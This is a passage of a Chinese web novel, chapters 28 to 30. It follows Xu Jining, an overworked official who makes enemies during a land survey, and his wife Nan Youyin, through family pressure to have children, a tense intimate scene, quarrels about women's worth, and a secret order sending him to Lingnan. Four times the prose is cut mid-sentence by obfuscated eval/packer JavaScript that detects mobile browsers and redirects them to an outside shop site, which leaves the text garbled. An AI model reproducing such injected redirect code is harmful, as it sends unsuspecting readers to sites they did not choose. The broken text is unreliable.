“可是……”徐寂宁迷惘而挣扎道,“我们只是被父母牵在一起的,我之前没有见过她,我也……不喜欢她。” 松梯好像有些替南有音感到委屈,她问到:“你怎么会不喜欢她呢?” “因为……”徐寂宁嚅嗫嘴唇,他也说不出什么理由,或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445787|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许是因为就是没什么理由,也或许是因为现在他脑袋太沉转不动了。 南有音从徐太太那里走了一趟,太太与她说了几句话,话不多,但听得出来太太在催促她快点要个孩子。她郁闷地走回自己的院子,心里嘀咕徐寂宁多久不回来了,光她一个难道能凭空整出小孩来。 而当她推开房门时,却发现桌上摆着好几盒点心,她认出这是徐寂宁每次回家都会给她带的小礼物。 她见正堂不见徐寂宁,想他不在书房就在卧室,一阵风似得在屋里穿梭,又像一阵风一样,裹挟着徐寂宁,往院子里走去。 她指着院子里蓬勃生长的月季以及芍药,满脸期待地对徐寂宁说:“你有没有发现,院子变样了!” 但徐寂宁面对姹紫嫣红的庭院反应很平淡。 南有音道:“你不吃惊吗?” 徐寂宁很是困惑:“有什么需要吃惊的?” “你两个月没回家,回来之后院子里开满了花啊!这个变化难道不大吗?”南有音指着满地花草,急切说道,“而且你看,这一大片的风铃草,百合,月季,还有那边的一颗丁香,都是我今年新载的,之前没有的。” 徐寂宁却说:“每年都会有下人整理庭院,你不用这样费心。” 南有音有点不舒服,她精心呵护花草,徐寂宁却用一句让下人做轻飘飘地掀过了,她本是希望他惊讶一下庭院的美丽,然后她这个种花人的虚荣心会得到小小满足。 她觉得徐寂宁不应该就这样随便忽视了她投注了好多时间的庭院,就这是算这个庭院不是她打理而是仆从们打理的,他也不应该这样忽视,理所当然地享受,她有点小小的恼火,不依不挠问道:“难道你就不觉得好看吗?” “好看。”徐寂宁温和但敷衍,他的视线很快离开了满园春草,疲惫道,“有音,我太累了,让我歇会儿吧。” 在庭院的阳光下,徐寂宁的脸显得愈发苍白,衬得眼底的黑眼圈更重了,眼眸中也没有什么光泽,苍白木然,显然成了这个春天院子里最没有生机与活力的东西。 南有音认真打量了一通徐寂宁,讶然于他的憔悴:“你怎么像是三四天没睡过囫囵觉了一样。” 徐寂宁嘶哑道:“官署事多。” 近来朝廷忙着度量土地清查人口,徐寂宁所在的官署也连轴转,他本不会那么忙的,毕竟再怎么他爹也是当朝尚书,顶头上司总会给买他爹几分面子,不至于让他太累。 涉及土地人口,自然要涉及更多的人情世故,大多同僚只是意思意思罢了,没人想加班加点费心劳力的翻档案,毕竟这是一门得罪人的差事,但徐寂宁偏不,他不光无视了上司关于放水的暗示,一丝不苟地做完了他自己那份,多占土地与人口标注的清清楚楚,还纠正了同僚做假的文字。 这一切都印证了父亲徐朗对他的担忧,他在官场不够圆融,他的处境自然也不会太好,排挤打压从无形中生出,他也不晓得自己凭空从哪儿多了那么多公务,更不晓得到底哪一位同僚在暗中针对他,一时间他好像成了众矢之的,只是他不知道那些应接不暇的利箭是从什么地方来的,叫他满头雾水的同时也令他疲倦不堪。 28. 暗流 转眼春深,杏花微雨,清明时分,徐家照例是要祭祖的,南有音也跟着徐寂宁一块在祠堂祭拜祖先,她不认识徐家的祖宗们,跟着徐寂宁拘谨又恭敬的上香,到了最后一个牌位,她却是认识的,是三姐徐静祺的牌位。 这让她望着这块木质的牌位倍感亲切,很大一个原因是她读了几本三姐精选珍藏的话本子,发现三姐跟她的口味惊人的相似,她愈发觉得倘若徐静祺还活着,一定跟她有许多话说。 徐寂宁在三姐去世后缠绵病榻数年,这是他头一次在清明祭拜她,他给她上香烧纸钱,回忆往昔相处,却不知为何兀得回想起过去三姐义愤填膺的大讲特讲自由与人格独立的场景,彼时他和松梯作为唯二的听众,都听得迷迷糊糊,全然搞不懂何为人格,最后三姐问他们听明白了吗,他们摇摇头。 三姐很是失望,沉沉坐在凳子上,说起太太说要给她安排亲事,颇为不满,叹了口气:“简言之,人不应被束缚,要听从自己的心。” 她望着松梯温顺如小鹿的眼睛,认真说道:“松梯,你一定要大胆,要昂起头颅,你从不低人一等,不要让丫鬟的身份束缚了你的一生。” 松梯不好意思的垂下脑袋。 三姐又转向徐寂宁,她思考了一会儿说道:“寂宁,你作为京城权贵已经享受了太多对于普通人而言不怎么公平的自由了——” 徐寂宁又没听懂三姐这句话,他迷惑地眨巴着眼睛,但三姐没有什么要解释的意思,而是继续说道:“即便如此,你未来的婚事还是会由父母做主——” “我不结婚,”徐寂宁立刻说道,“以后我会陪三姐浪迹天涯的!” 三姐微微笑了一下,感觉像是被小孩子的不算数的承诺哄笑了一样,她再开口时没有提浪迹天涯的事,而是眼睛亮亮的,非常真挚地说:“寂宁,倘若你日后要娶妻生子,你一定要娶一个你喜欢的姑娘。” 徐寂宁问道:“什么样的才算是我喜欢的姑娘?” 三姐说道:“这个我怎么会知道,喜不喜欢只有你自己心里清楚。” 徐寂宁略一思索,然后说:“那我喜欢三姐。” 三姐的脸色却变了,她说此喜欢非彼喜欢,不是一种类型,又说徐寂宁还跟小孩一样,不懂何为喜欢。 身边的南有音深深叹了口气,这惆怅而遗憾的声音将徐寂宁从回忆中拔了出来。 什么才是“喜欢”,徐寂宁困惑地想到,三姐说只有他自己心里清楚,他茫然地注视着南有音,她的半边脸庞沐浴在春天的阳光里,边缘散发着柔和的光泽,漂亮的大眼睛在光下颜色透彻,像是一坛黄酒。 南有音察觉到了徐寂宁的视线,侧过脸来,冲他微微笑了一下,徐寂宁在那双漂亮眼睛的注视下有些慌乱,脸有点红,勉强一笑回应。 祭完祖后,徐寂宁又匆匆走了。 临走前南有音看着他恹恹的脸色有些担忧,对他说道:“你都休息一晚了,看起来还是很憔悴。” 徐寂宁道:“主要心累。” 身体多睡会儿或许就能缓过来,但心累难以调节。徐寂宁一丝不苟地执行朝廷度田和普查人口的命令,现在成了官署里与众不同格格不入的那个,他认真收集侵占土地和人口的资料,无意中触动了许多势力,他被好多双眼睛盯着,连提笔写着都变得吃力,那些无形的针对与勾心斗角让他厌倦不堪。 他有时也忍不住纳闷儿,他年少读的书上说百官为朝廷办事,是为百姓谋福祉,丈量土地普查人口分明能富国安民,可这几个月来他在官署丝毫没有感受到他们在做得是一件泽被万民的事,相反,却深深体会了官场的人情世故,见识透了那些老狐狸的推诿斡旋。 南有音没太明白徐寂宁的“心累”,她只觉得他眼里一点精神气也没有,不像是去官府当职,而像是被押去做苦力一样,她恳切道:“那你不要去了,在家多歇几天,我不吵你的。” 徐寂宁确实不想再次踏入那个天下读书人以为风光霁月,实则泥泞不堪的朝堂了,但他最终还是摇摇头,很是疲倦道:“我若不去,我辛辛苦苦搜集出的侵占田产人口的证据大概又要被篡改的没影了。” 徐寂宁走后南有音又被叫到了太太屋里,太太问南有音祭祖有什么想法,南有音吓了一跳,绞尽脑汁地想有什么诗文是追忆祖先的,以为徐太太要她从肚子里倒出点墨水,发表些什么见解,却不想徐夫人说:“有音,你发现了吗,徐氏的人丁一直很稀薄。” 徐夫人说起了徐家几代单传,直到徐老爷这代孩子才多了起来,她真情实感的长叹了一声:“可惜……” 她也不说清楚究竟可惜什么,最后把话题落回到南有音与徐寂宁身上:“总之徐家的香火,只能靠你和寂宁来延续了。” 南有音瞬间就明白太太那欲言又止的“可惜”了,太太可惜她的长子和次子都有些古怪,只好将生儿育女的愿望寄托到小儿子两口子。 南有音很是为难,嗯嗯啊啊的胡乱应付着,她说这事不是她一个人能解决的。 徐太太表示理解,又暗示她多用点心,很少有人会坐怀不乱。 南有音觉得有点道理,决心再试一次,但徐寂宁好像在官署生根了一样,迟迟没有回家,直到十天过后的三月中旬,她才又一次见到了徐寂宁。 这次是徐老爷徐朗叫徐寂宁回来的,徐朗说近来风声很紧,要他告病在家里待几天躲躲风头。 随着度田的深入,朝堂上的腥风血雨也愈加猛烈起来,徐朗得到消息说皇帝正在选派往岭南度田和重修户口的官员,如今在岭南归永安王管辖,早已自成势力,颇有尾大不掉之势,任谁都清楚前往岭南度田必是一项苦差,只是丈量王府土地清查王府蓄奴便够受的,不光难以向朝廷交差,还容易背上什么勾结藩王的罪名。 徐朗身居高位本就树大招风,徐寂宁近来又得罪人不少,故而怕有心人会趁此机会推徐寂宁到风口浪尖,干脆让徐寂宁呆在家里别去官署了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445788|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >徐寂宁天天呆在家里,南有音可算找到玩伴了,天天以天气好出门晒晒太阳为理由,拉着闷闷不乐的徐寂宁帮她给庭院里的花浇水,还有修剪枝叶。 徐寂宁不怎么乐意,他没怎么接触过这些活儿,经常一脚踩在烂泥里或者浇水先把自己的鞋子浇透了。 “这些活儿让下人干就行了。”徐寂宁不情不愿,每次给庭院里大大小小的花浇一次水都要累个半死。 南有音很喜欢照顾这些花花草草,每一个花苞绽放都让她很有成就感,她对徐寂宁什么事都推给下人干感到不悦,嘟囔道:“真是京城的公子哥儿。” 她指出徐寂宁不亲自来浇浇水,压根就不会注意到这成片的花海是别人辛苦劳动的成果,只是会一昧的理所当然的享受。 徐寂宁不以为然:“花开在这里,我会看见的。” 南有音说:“你只看到花,又看不到是谁天天浇水修剪,更不知道那人付出多少心血呢。” 徐寂宁心不在焉地修剪着月季残花,他想起三姐徐静祺的庭院,三姐的院墙上总是爬满了月季,过去不知是谁在修剪月季,是三姐亲自修剪还是松梯代劳,亦或是其他,他好像真的从来没有关注过。 入夜,被迫操持了一天庭院的徐寂宁累得很,早早地躺在床上了。他的手被月季的刺扎了无数次,看起来伤痕累累的,而且又痒又疼,但南有音说那只是浅层划伤,压根不用担心,第二天就会好了。 他对此有些怀疑,盯着自己手上一道长长的伤痕琢磨它如何在一夜之间痊愈,在他全神贯注地观察自己的手的这段时间里,忽视了南有音脱去衣服的细微声音,也没有注意到她与他的距离越来越近,直到他的手腕被猛然握住,接着他的手被拉到了什么柔软的东西上,温热的,带着小小的凸起。 “有,有音……”徐寂宁结结巴巴的,他的脸迅速涨红了,像是要烧起来一样。 徐寂宁迅速抽回手,南有音则随着他抽走的手顺势倒在了他的怀里,温暖的酮体覆盖在他的身上,让他每一寸肌肤都敏感燥热起来,他几乎能感受到南有音倚在他身上的每一个部位的凹凸起伏。 “宁哥哥……”南有音一向好听的声音格外的绵软娇俏,她注视着他,脸也是红的,她的两双大眼睛似笑非笑,其中倒映着烛光,像是盈盈水波一样闪亮亮的,脉脉含情,仿佛要把他吸进去。 “有音!”徐寂宁猛地一把推开南有音,像是一个溺水的人挣扎出水面一样,喘着粗气,“你这是在做什么?” 被推开后南有音愣了一下,声音不像刚刚仿佛能拉丝般的绵软,而是有些发冷,反问道:“我这是在做什么?难道你还不清楚?” “你跟我说实话!”南有音坐起来盯着徐寂宁,她长长的发丝垂在胸前,像是一块黑色的绸缎,她抱着胳膊,用一种毋庸置疑的声音命令道,“你不是不是不举,或者你也不喜欢女人?” 她想到徐太太说很少有人能坐怀不乱,不由得有些犹疑。 29. 辗转 “有音,”徐寂宁很不自在地清了清嗓子,用一种哄小孩儿的语气,“你先穿好衣服,咱们再说话。” 南有音像是故意的一样,她甩了甩头发,把遮在胸前的头发撩到了身后:“你不要故意转移话题。” 床边的烛火还没有来得及熄灭,南有音又凑地很近,徐寂宁几乎能看清南有音身体任何细微的部位,包括藏在阴影里的毛发,他不得不承认这是一具很匀称的□□,他感觉口干舌燥,觉得自己的脸快要烧熟了,于是他闭上了眼睛。 但这似乎让南有音更生气了:“太太说很少有人会坐怀不乱,你是什么情况?有什么隐疾,或者你也不喜欢女人?” 徐寂宁发现闭上眼睛似乎也无济于事,他能闻到她身上很淡的一种香味,他分辨出来这是庭院那从金银花的味道,他想起午后她钻在花丛中,哼着轻快的曲调,摘了好多金银花给宋知落送去。 这股金银花的香味萦绕在他的鼻尖,一下一下地勾着他的心,让他的心又变成了狂奔的兔子。 他压抑着喘息小声地反驳:“我没有坐怀不乱。” “你没有?”南有音似乎不信,她咄咄逼人地欺身而上,扶住徐寂宁的肩膀,用嘴唇碰了碰他的嘴唇,完成了一个简单的亲吻。 当视线被掩盖时,其余感官总会格外的敏感,徐寂宁感觉被南有音压住的肩膀,还有被她吻过的唇,像是着火一般,一直烧到骨头里,他战栗着,摸索着再次轻轻推开了南有音,他指尖很烫,南有音在春天微凉的夜晚中感受地很清楚。 “如果你没有问题,可是为什么?”南有音逼问道,“咱们成亲已经快要四个月了,你从来不碰我,大家都说这不正常。” “有音,安分点。”徐寂宁的嗓音沙哑且颤抖,像是在忍耐。 “可是为什么?”南有音的声音缓和了一点,她开始自我反思,“如果你没什么问题,难道是我,我有什么问题吗?” 徐寂宁立刻打断她的思绪,他说道:“不,你很好,很好,善良,漂亮,声音也很好听。” “那是为什么?”南有音又一次俯下身子,试着去吻徐寂宁的唇。 “唔——”徐寂宁别开脸,南有音的吻从他的脸颊划过了,他轻声说道,“我不想伤害你……” 南有音没有明白徐寂宁的意思,她困惑了数秒,忽然笑出声了,她说:“咱们这是夫妻义务,不是互相伤害呀。” 南有音的笑像极了山涧一串叮咚作响的溪流,她的呼吸吹在徐寂宁的耳畔,又很像春天的风,撩人又温柔,徐寂宁没有睁开眼,眼前却仿佛浮现出春天绿芽新枝生长的景象,他在新婚夜掀开盖头的刹那,就曾于脑海浮现过这样茁壮而生机蓬勃的景象。 徐寂宁声音很轻,仿佛不忍心打搅那一片盎然的生机:“不,我不是这个意思。” 南有音更奇怪了:“那你是想说什么呢?” 徐寂宁再也找不到其他的借口了,他只得用尽量温柔的声音,希望尽量不让这个善良的姑娘伤心,无比轻柔地说道:“有音,你很好,只是因为我不喜欢你。” 他仍然不敢睁开眼睛,他不知道南有音脸上是什么神情,他只感到身体一轻,南有音从他身上起来了,然后他感到被子被拉扯,身侧的床铺微微一震,他知道是南有音沉默又沉重地躺下了。 他终于睁开眼,他怕南有音会哭,因为他不懂怎么安慰她,他望向身侧,南有音面对着他侧躺着,又大又亮的眼睛透露出一种隐秘幽微的光泽,她见他看过来,竟然还咧嘴笑了一下。 徐寂宁忐忑不安地唤了一声:“有音?” 南有音微笑道:“没关系,只要我喜欢你就行了。” “我……”徐寂宁什么也说不出。 南有音又说:“我们天天在一起,你总会喜欢上我的,对吧?” 她用亮闪闪的眼睛盯着徐寂宁。 徐寂宁被这道视线灼地有些慌张:“我,我不知道。” 南有音又继续盯着他了一小会儿,最后,她的一双眼睛好像蒙上了淡淡的水雾。 “好吧。”她垂下眼帘,说出了徐寂宁常说的那句话,“睡吧。” 黑暗与沉默笼罩在屋内,沉甸甸地压在两人身上,南有音无声地叹气,她心里一抽一抽的,不太好受,叹气也叹得断断续续的。 徐寂宁辗转反侧,一整夜都没有睡。 第二天早上,徐寂宁又早早溜到书房了,他在思虑他官署的事,南有音也早早被徐夫人叫走了,徐夫人在计较她的孙儿什么时候出生。 午饭后徐寂宁又被徐老爷叫走了,两人再次见面时又是夜晚的床上。 两人最开始是安分地躺着,南有音跟徐寂宁有一搭没一搭地聊,聊着聊着,两个人越靠越近,徐寂宁紧张起来了:“你要做什么?” “还能做什么?”南有音翻了翻眼,“自然是要做夫妻该做得事情。” “昨晚我说过了……”徐寂宁往床沿挪了一下,与南有音拉开了距离,他垂着眼眸,没把后半句说完。 “我知道,”南有音似乎也有些无奈,她也有些烦躁,“太太今天找我说话,又催我抓紧生个孩子,我妈也是催我,她们催得紧了,我也没办法。” “可是——” “别那么多可是了,”南有音沮丧道,“我现在知道你不喜欢我了,但你连个孩子也不给我,显得我在徐府毫无价值,今日妈托人捎来的信里说女人的价值在于能够生儿育女,我想了想身边的姑娘们夫人们,好像确实如此。” “胡说,”徐寂宁有些不屑,南有音的话让他不怎么舒服,他反驳道,“三姐过去说女子的价值不可能只在生育上,女人和男人明明都是人,男人能做的,女人也一样能做,你以后不要再讲这些见识浅薄的话了。” 徐寂宁说得这些话都是过去徐静祺常常挂在嘴边的,她对她最忠实的两个听众分别说过。她告诉松梯不要被女人的身份束缚了,让松梯要大胆一些,男人能读书领军,她也可以,松梯瞪圆了眼睛,一副惊魂未定的样子,她想必是想到了自己在战场挥舞刀剑的姿态,觉得不可理喻。徐静祺也告诉徐寂宁的则是未来不要把妻子作为自己的附庸或者生儿育女的工具,要给予她尊重与平等。 “所以,”徐寂宁缓了缓语气,说道,“有音,你不要把自己的价值限制在生小孩上,这件事我会跟太太说说的,至于南夫人那边,只好交给你应付了。” 南有音沉闷地应了一声,在一个离徐寂宁不远不近的距离重新躺下了,她非常轻易地放弃了这次关于夫妻生活的尝试,主要原因倒不是因为徐寂宁说得那些,而是自从昨夜徐寂宁吐露了实情之后,她便也兴致缺缺了,她没法强迫一个不喜欢她的人与她做最亲密的事,她也不希望她的孩子会出生在一个父母不相爱的家庭里。 她躺在床上有些闷火,这股火气来自于被徐寂宁冠上的“见识浅薄”的标签,她细想她认识的为数不多的女人,仍觉得她们的一生都消磨在开枝散叶、延续夫家血脉之中,她记忆里没读过书的乡下女人是如此,如今来到京城后发现高门深院那些饱读诗书的夫人们也是如此,她怀疑皇宫的妃子们也是这样。她们都花了太多时间做妻子做母亲,以至于她们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445789|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人生仅剩这些,历史很少留下这些她们的的名字,即便有,也往往是因为作为谁的妻子、谁的母亲、甚至谁的女儿而留下的,史书好像从不肯为她们写一页独立的笔墨。 次日一早,刚用完早饭,徐太太那边又叫南有音过去,南有音垂头丧气,不用想就知道太太要说些什么,近来太太找她,说来说去总是围绕到生孩子身上。徐寂宁说这次他也一块去,他要跟太太谈谈,但他走到半路就被徐老爷派来的人截走了,徐老爷又有急事找他。 朝廷风雨欲来,南有音虽然天天呆在宅院里,但也听到了不少风声,知晓了徐寂宁在官署干的活儿得罪了不少人,她感叹徐寂宁明明是认认真真按朝廷的意思清查土地和人口,怎么还得罪了那么多朝廷的人呢。 徐寂宁笑她什么也不懂,她则反击说你要是懂,你不就不会得罪那么多人了,还得老爷把你藏府里护着,徐寂宁脸微微一红,他说士人读书为的是世间百姓,又不是为了自己,得罪几个人又怎样,南有音说她爹说当官的都是为朝廷做事,没有为百姓做事的。 相同的话徐寂宁也从三姐徐静祺哪里听过,三姐对在朝中做官不以为然,她说那是维护封建势力,那些改革的主要目的也不过是为了延续王朝统治,偶尔能利好百姓不过也是无心之功,徐寂宁虽然不懂什么“封建”“改革”之类的字眼,但他很不服,他说他读得圣贤书里讲得是“为官者当修身为民”,三姐摇摇头,说他是个小书呆子,她说据她历史课上学的知识,历代封建王朝的皇帝很少有这么好心眼的,官员更是会被没有管控的权力异化,不再是民之父母,而是民之硕鼠,他被三姐大不敬的话语惊住了,立刻捂着她的嘴叫她少说两句。 徐寂宁去了徐老爷那里,南有音则又来到太太面前,当太太又一次提及小孩的时候,她用徐寂宁的话对太太道:“我想我的价值不应该只是被局限在生育上。” 太太的脸色一下子变了,她脸上便白了,好像生气了,但又好像在伤心,她眼底飘起了一种很奇怪的情绪,既像是愤怒,又像是思念。 “你这样让我想起静祺了,过去她总是跟我吵架,”徐太太万分地惆怅,“过去她歪理格外多,我从来说不过她,只这一件她说不过我。静祺说女人不应该被束缚在深宅大院,一辈子生儿育女,但我反问她,除此之外,我们还能做些什么,我把她问住了,半晌灰着脸说她也不知道,然后又说起什么另一个世界的女子可以做郎中看病、当夫子教书、做商人经商的疯话了。” 从太太哪里走后南有音浑浑噩噩的,她开始想她的价值所在,她思来想去只觉得空虚不堪,于是在午饭时她告诉徐寂宁,她觉得她现在唯一能发挥的价值还是生儿育女。 徐寂宁很生气,他又说她见识浅薄。 南有音很委屈,说道:“那你说我还能做什么?我也读过书,可朝廷不许女子参加科考,我也知道计算盈利,可商会不许女人踏足,我不至于像你一样肩不能抗手不能提,但你们徐府能放我去码头或者工程做工吗?” 徐寂宁呆呆愣愣,他被南有音的一席话镇住了,他头一次反思自己太想当然了,他看着南有音落寞又伤心的模样,见她两只眼睛都失了神采,于心不忍,他犹豫了一下,带着更多安抚说道:“……你可以学会骑马,然后一直往西走,去看你想看的风景。” “那你到时候会陪我一起去,对吗?” 南有音注视着徐寂宁,那双大眼睛仿佛会说话一样,满怀期待,像是一泓波光粼粼的泉水,潋滟,清澈,徐寂宁从中看到了自己的倒影,他心跳空了一拍,鬼使神差地答道:“好。” 30. 密旨 徐寂宁被关在府里的第七天,徐老爷徐朗下朝回家时带来了一个消息,皇帝定了派往岭南度田的人选了——督察院副督御史薛停,指派他担任岭南巡抚,视察蜀地。 薛停这个名字让大家面上不是很自然,事后南有音问起,松梯悄悄告诉她薛停是薛驰光的父亲,徐家三小姐还差点嫁给了薛停的小儿子□□栩,徐薛两家差点就是亲家了,两家关系一度很好,只是三小姐死后渐渐断了联系。 徐太太嘀咕了一句“怎么派他去”,转而就为小儿子徐寂宁没受到什么牵连而感到幸庆,近来一直有消息说宫里要派徐寂宁去岭南,徐太太吓得好几夜没睡过囫囵觉。 徐老爷也暗暗松了一口气,他提着的气松懈下来,顿时显得无比疲倦,高大的身形好像小了一圈似得,满脸的皱纹也更深了些。他这几日几番周旋,耗费口舌心思,为徐寂宁疏通人脉,他虽然从不拉帮结派,但毕竟为官多年,总归有几分薄面,到底使得朝堂里要徐寂宁去岭南的声音小了不少,但前几日皇帝的意思始终不清不楚,一直叫徐朗的心悬着,直到今日朝堂上,皇帝忽然下旨派薛御史前往岭南,徐朗震惊之余也放下了心。 南有音不太确定徐寂宁不去岭南是一件好事还是坏事,徐老爷徐夫人好像卸下了千斤重担一样轻盈了不少,徐寂宁却没那么开心,他还一心期盼着去岭南清查土地人口,他不会造假也不会贪污,他还义愤填膺地想着为岭南的人民主持公道。 南有音也有些失望,她在话本子里看过岭南地区的故事,相传那里重山叠嶂,四季如春,一年都头都能见到鲜花,令她心驰神往,她原打算徐寂宁若去岭南,她也一定要跟着去看看南疆的瑰丽风光,但徐寂宁没有被派任,她也只好继续困守在京城徐府了。 没过几日薛停走马上任了,徐府的日子又复归平静,徐寂宁又住在了官署,但徐老爷不敢再让他这个执拗的儿子继续蹚田地和人口这道浑水了,他动了点关系,于是徐寂宁天天做些无关紧要的琐事,几乎成了官署里最大的闲人,徐太太得知了这一情况,总是寻各种借口叫徐寂宁回家。 南有音也整天无所事事,院里大小的事松梯都能替她安排好了,不管是洗衣做饭还是打扫庭除,都有丫鬟下人,除非她想,不然什么都不用她亲力亲为,自从天热了火炉撤了,她唯一可动手的绝活儿也没了,几乎天天躺着,眼瞅着胖了不少,回了南家一趟,被南玉振冷言冷语讥了几句,说她也染上京城权贵四体不勤的习气了。 南有音不以为然,她回徐府后还对徐寂宁说她小时候最羡慕的就是这种大户人家的生活,梦想就是有很多仆人,自己什么也不用做,徐寂宁听后却轻飘飘地说了句:“你小时候的梦想就只是这样?未免也太……” 他扬扬眉,没再继续说下去。 南有音轻而易举地觉察到了徐寂宁语气中的不屑,她不满道:“你难道瞧不起?又不是人人从小都能像你一样不愁吃喝,我小时候只希望长大后能天天喝白米粥就行,在乡下,大家的愿望就是丰收,不用饿肚子。” 徐寂宁似乎有些惊讶:“乡下人都这样没有抱负和志向吗?” 他皱着眉头,好像在认真地思考一般:“是因为识字读书的人太少吗?” 南有音觉得徐寂宁不可理喻,她在说乡里人会吃不饱,徐寂宁却在说乡里人应该位卑未敢忘忧国,她非常地恼火,没好气道:“我猜你是从来没挨过饿,饿上你几顿你就说不出这种话了。” 徐寂宁不觉如此,他摇摇头说他懂得“穷且志坚不坠青云之志”的道理,接着他两道薄唇吐出一句刻薄话说道:“只是那些人人穷志短罢了。” 南有音眨了眨眼,张开的嘴巴只发出没有任何意义的细微气音,她两只大眼睛渐渐瞪得很圆,心中泛起了失望与惊讶,甚至盖过了愤怒,但徐寂宁浑然不觉有什么问题,反问她怎么了。 这一句若无其事地反问使得南有音五味杂陈的心底又涌出了几丝茫然,她拧着眉毛,又一次注视着徐寂宁,盯得他浑身不自在。 徐寂宁又一次问道:“有音,怎么了?” “真奇怪,你怎么会说出这种话?”南有音拧着眉头,这不是她第一次感受到徐寂宁在无意中流露出的高高在上了。 徐寂宁似乎也挺困惑:“什么?” “你明明——”南有音认认真真地注视着徐寂宁,从秀气眉眼到嘴角薄唇,他的模样跟她记忆中一点也不差,但现在她却忍不住疑心他其实变了,这导致她的喉咙有点发梗,说不出后半句了——你明明不是这样啊,宁哥哥。 她歪着脑袋,满脸的困惑,紧紧盯着徐寂宁,一步一步地向后退去,接着突然转身跑了,她不敢继续注视徐寂宁了,她生怕继续看下去,徐寂宁会变成一个她完全不认识的人,不再是她曾经心心念念的宁哥哥了。 她要趁脑子还没开始转起来之前跑掉,总有些现实她不愿意面对。 徐寂宁看着南有音跑远了的背影很是莫名其妙,他看到她的眼神彷徨而畏惧,心里竟然也患得患失起来。 南有音跑出院子,在徐府花园的池塘边坐着发呆,湖水青绿,午后阳光搀在荡漾的碧波中,随着波纹一闪一闪的。 她脑袋空空的,怔怔注视着里面漂浮的水草和小虫子,呆呆地看着红色的小鱼儿在水中游荡,春末夏初的午后阳光足够热,把她的后背晒得很热,她不想想徐寂宁,也不想回到她和徐寂宁的院子里,她不知道干什么好,也不知道该干什么,她甚至仍在心底为自己找不到生育以外的价值而感到难过,她就这样一直在湖边坐着,也不知道坐了多久,直到有人拍了她的肩膀,吓得她差点掉进湖里。 她转过头去,发现是松梯,松梯气喘吁吁的,额角的碎发都被汗粘住了。 “可算找到你了,少奶奶。”松梯弯着腰,两只手撑在膝盖上,上气不接下气,她为了找南有音几乎跑遍了大半个徐府。 松梯不等理顺气息就立刻说道:“老爷和太太有急事找您,您快去吧。” 南有音问道:“发生什么事了吗?” 松梯说她不知道,只是太太那边的丫鬟火急火燎地过来说要找少奶奶,小少爷也被叫走了。 松梯身上那种匆忙的神气也感染了南有音,她急忙往太太屋里赶去,一路上一个人也没碰见,平白升起了许多紧张来。 太太的院子里安安静静的,只有凋零的海棠无声地飘落,南有音踏进去,也不由自主地放低了脚步,她忐忑地走进徐太太屋里,却发现大家都在。 徐老爷眉头紧锁,只是抬头瞥了一眼来人,大哥徐缄平也是如此,二哥徐默安静静立着,冲着南有音微微点头,徐寂宁站在二哥身边,低着头看不清面容,徐太太满脸的愁容,像院子里掉落的海棠花一样憔悴。 南有音被这种阴沉的氛围吓住了,她颤抖地叫了一声:“太太,您找我?” 她为她的迟到惶恐不安。 “有音,”回答她的不是徐太太而是徐老爷,他说道,“刚刚宫里传来了皇帝的密信。” 南有音没有说话,等着徐老爷继续说下去,她感到几丝不同寻常,按理说宫里还有朝廷的事都与她无关才对。 徐老爷说:“皇帝的密信说派寂宁秘密前往末山。” “末山”是一个南有音从来没有听过的地方,她非常地茫然,在想末山是哪座山。 但末山不是山,徐老爷说道:“末山是岭南路眉州府下辖的一个县,处于边境。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445790|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 南有音仍然一脸的茫然。 徐老爷继续说道:“末山县在岭南永安王的领地之内。” 南有音终于隐约琢磨出什么味儿来了,皇帝要把徐寂宁也派去岭南。 她问道:“可是薛大人不是刚去岭南吗?” 徐老爷面带忧虑地说道:“这也是我们在意的地方,默安觉得皇帝的意思大概是寂宁跟薛大人一明一暗,如此方便行事,但……” 徐老爷长叹一声:“当今圣上谨细慎重,他心中所想我等是猜不透的,我听说薛停离京前皇帝曾与他彻夜长谈,但具体说了些什么,也是无从知晓。今日我叫你们来,便是说寂宁去末山的事。” “老爷,”一直沉默着的徐太太终于发话了,她的声音无比嘶哑,“这件事难道就没有什么回旋的余地了吗?寂宁他……” 